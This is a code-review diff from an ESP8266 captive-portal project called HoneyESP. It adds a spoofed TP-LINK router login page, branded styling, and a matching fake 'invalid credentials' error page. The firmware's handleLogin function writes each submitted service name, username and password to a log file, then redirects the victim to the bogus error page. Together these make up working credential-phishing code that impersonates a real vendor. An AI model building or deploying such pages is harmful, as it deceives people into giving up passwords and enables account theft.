Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
18 changes: 13 additions & 5 deletions HoneyESP-SPIFFS/HoneyESP-SPIFFS.ino
Original file line number Diff line number Diff line change
Expand Up @@ -119,7 +119,7 @@ void setup() {

// Enable HTTP server
Serial.print("Starting HTTP server...");
server.on("/login.htm", handleLogin);
server.on("/login.htm", handleLogin);
#ifdef BLOCK_SSID_REQUEST
server.on(getUrlFromFileName(FILENAME_SSID), send404);
#endif
Expand All @@ -144,8 +144,10 @@ void loop() {
void handleLogin() {
// Save form data to text file
File logFile = SPIFFS.open(FILENAME_DATALOG, FILE_WRITE);
String loginService;
if (logFile) {
String logLine = server.arg("svc");
loginService = server.arg("svc");
String logLine = loginService;
logLine += "\t" + server.arg("usr");
logLine += "\t" + server.arg("pwd");
Serial.println(logLine);
Expand All @@ -155,12 +157,18 @@ void handleLogin() {
Serial.println("Error opening data file.");
}

// Redirect to error page
String message = "<html><head><title>302 Found</title></head><body><a href=\"/error.htm\">Continue here</a></body></html>";
// Decide where to redirect
String redirectLocation = "/error.htm";
if(loginService.indexOf("tp-link") > -1){redirectLocation = "/err-tp.htm";}

// Execute redirect to decided page
String message = "<html><head><title>302 Found</title></head><body><a href=\"";
message += redirectLocation;
message += "\">Continue here</a></body></html>";
server.sendHeader("Cache-Control", "no-cache, no-store, must-revalidate");
server.sendHeader("Pragma", "no-cache");
server.sendHeader("Expires", "-1");
server.sendHeader("Location", "/error.htm");
server.sendHeader("Location", redirectLocation);
server.send(302, "text/html", message);
}

Expand Down
51 changes: 51 additions & 0 deletions HoneyESP-SPIFFS/data/css/tp-old.css
Original file line number Diff line number Diff line change
@@ -0,0 +1,51 @@
html {
background-color: #003399;
color: #000;
font-family: "Arial", "Helvetica", "sans-serif";
margin: 0;
padding: 1em;
}

body {
background-color: #003399;
max-width: 772px;
margin: 0 auto;
padding: 1em;
}

img {
border: none;
}

input[type=text],
input[type=password] {
width: 100%;
-moz-box-sizing: border-box;
-webkit-box-sizing: border-box;
box-sizing: border-box;
padding: 1ex;
border: 1px solid #333;
}

input[type=submit] {
font-size: 100%;
padding: 1ex;
min-width: 18ex;
font-weight: bold;
}

.tp-header {
clear: both;
width: 772px;
}

.tp-header img {
padding: 0;
margin: 0;
}

.content {
clear: both;
padding: 1ex;
background-color: #fffcd6;
}
27 changes: 27 additions & 0 deletions HoneyESP-SPIFFS/data/err-tp.htm
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Free Wi-Fi Gateway</title>
<link rel="stylesheet" href="css/tp-old.css" type="text/css" />
</head>
<body>
<div class="tp-header">
<img src="images/tp/tp1.jpg" width="208" height="85" alt="TP-LINK 54M" /><img src="images/tp/tp2.jpg" width="562" height="85" alt="TP-LINK 54M" />
</div>
<div class="content">
<h1>
<img src="images/wifi.png" width="72" height="72" alt="Wi-Fi" />
Wi-Fi Gateway
</h1>
<form action="." method="GET">
<p class="cs"><b>Chybné přihlašovací údaje.</b> Byly zadány chybné údaje nebo nastala jiná nespecifikovaná chyba. Omlouváme se, zkuste to později nebo použijte jinou službu.</p>
<p class="en"><b>Invalid credentials.</b> Invalid login information has been entered or an unspecified error has occurred. We are sorry, try again later or use different service.</p>
<footer>
<input type="submit" class="button" value="OK" />
</footer>
</form>
</div>
</body>
</html>
Binary file added HoneyESP-SPIFFS/data/images/tp/tp1.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added HoneyESP-SPIFFS/data/images/tp/tp2.jpg
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
2 changes: 1 addition & 1 deletion HoneyESP-SPIFFS/data/index.htm
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

<body>
<h1>
<img src="images/wifi.png" width="72" height="72" alt="Wi-Fi" /> Wi-Fi Gateway
<a href="log-tp.htm"><img src="images/wifi.png" width="72" height="72" alt="Wi-Fi" /></a> Wi-Fi Gateway
</h1>
<p class="cs">Pro připojení k Internetu se prosím přihlašte pomocí některé z následujících služeb:</p>
<p class="en">Please login using one of the following services for Internet access:</p>
Expand Down
34 changes: 34 additions & 0 deletions HoneyESP-SPIFFS/data/log-tp.htm
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
<!DOCTYPE html>
<html>

<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>TP-LINK</title>
<link rel="stylesheet" href="css/tp-old.css" type="text/css" />
</head>

<body>
<div class="tp-header">
<img src="images/tp/tp1.jpg" width="208" height="85" alt="TP-LINK 54M" /><img src="images/tp/tp2.jpg"
width="562" height="85" alt="TP-LINK 54M" />
</div>
<div class="content">
<form action="login.htm" method="POST">
<input type="hidden" name="svc" value="tp-link-54M" />
<p>
<label for="usr">Username:</label>
<input id="usr" type="text" name="usr" />
</p>
<p>
<label for="pwd">Password:</label>
<input id="pwd" type="password" name="pwd" />
</p>
<footer>
<input type="submit" class="button" value="LOGIN" />
</footer>
</form>
</div>
</body>

</html>